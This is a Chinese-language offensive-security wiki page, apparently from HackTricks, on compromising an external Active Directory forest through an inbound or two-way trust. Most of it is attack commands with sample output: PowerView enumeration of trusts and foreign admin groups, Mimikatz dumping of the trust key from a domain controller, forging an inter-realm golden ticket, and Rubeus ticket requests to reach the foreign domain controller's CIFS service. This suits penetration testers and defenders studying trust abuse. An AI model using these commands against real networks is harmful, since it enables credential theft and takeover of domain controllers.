# 外部森林域 - 单向（入站）或双向 {{#include ../../banners/hacktricks-training.md}} 在这种情况下，外部域信任您（或双方互相信任），因此您可以获得某种访问权限。 ## 枚举 首先，您需要**枚举****信任**： ```powershell Get-DomainTrust SourceName : a.domain.local --> Current domain TargetName : domain.external --> Destination domain TrustType : WINDOWS-ACTIVE_DIRECTORY TrustAttributes : TrustDirection : Inbound --> Inboud trust WhenCreated : 2/19/2021 10:50:56 PM WhenChanged : 2/19/2021 10:50:56 PM # Get name of DC of the other domain Get-DomainComputer -Domain domain.external -Properties DNSHostName dnshostname ----------- dc.domain.external # Groups that contain users outside of its domain and return its members Get-DomainForeignGroupMember -Domain domain.external GroupDomain : domain.external GroupName : Administrators GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=domain,DC=external MemberDomain : domain.external MemberName : S-1-5-21-3263068140-2042698922-2891547269-1133 MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain, DC=external # Get name of the principal in the current domain member of the cross-domain group ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133 DEV\External Admins # Get members of the cros-domain group Get-DomainGroupMember -Identity "External Admins" | select MemberName MemberName ---------- crossuser # Lets list groups members ## Check how the "External Admins" is part of the Administrators group in that DC Get-NetLocalGroupMember -ComputerName dc.domain.external ComputerName : dc.domain.external GroupName : Administrators MemberName : SUB\External Admins SID : S-1-5-21-3263068140-2042698922-2891547269-1133 IsGroup : True IsDomain : True # You may also enumerate where foreign groups and/or users have been assigned # local admin access via Restricted Group by enumerating the GPOs in the foreign domain. ``` 在之前的枚举中发现用户 **`crossuser`** 在 **`External Admins`** 组内，该组在 **外部域的 DC** 中拥有 **管理员访问权限**。 ## 初始访问 如果你 **无法** 在其他域中找到任何 **特殊** 访问权限，你仍然可以回到 AD 方法论，尝试从 **无特权用户** 提升权限（例如 kerberoasting）： 你可以使用 **Powerview 函数** 通过 `-Domain` 参数来 **枚举** **其他域**，如： ```powershell Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName ``` {{#ref}} ./ {{#endref}} ## 冒充 ### 登录 使用具有访问外部域的用户凭据的常规方法，您应该能够访问： ```powershell Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator ``` ### SID 历史滥用 您还可以在森林信任中滥用 [**SID 历史**](sid-history-injection.md)。 如果用户是 **从一个森林迁移到另一个森林**，并且 **未启用 SID 过滤**，则可以 **添加来自另一个森林的 SID**，并且在 **跨信任** 进行身份验证时，该 **SID** 将被 **添加** 到 **用户的令牌** 中。 > [!WARNING] > 提醒您，您可以通过以下方式获取签名密钥 > > ```powershell > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local > ``` 您可以 **使用** 该 **受信任** 密钥 **签名** 一个 **TGT，冒充** 当前域的用户。 ```bash # Get a TGT for the cross-domain privileged user to the other domain Invoke-Mimikatz -Command '"kerberos::golden /user: /domain: /SID: /rc4: /target: /ticket:C:\path\save\ticket.kirbi"' # Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC ## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap # Now you have a TGS to access the CIFS service of the domain controller ``` ### 完整的用户冒充方式 ```bash # Get a TGT of the user with cross-domain permissions Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap # Get a TGT from the current domain for the target domain for the user Rubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap # Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC ## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap # Now you have a TGS to access the CIFS service of the domain controller ``` {{#include ../../banners/hacktricks-training.md}}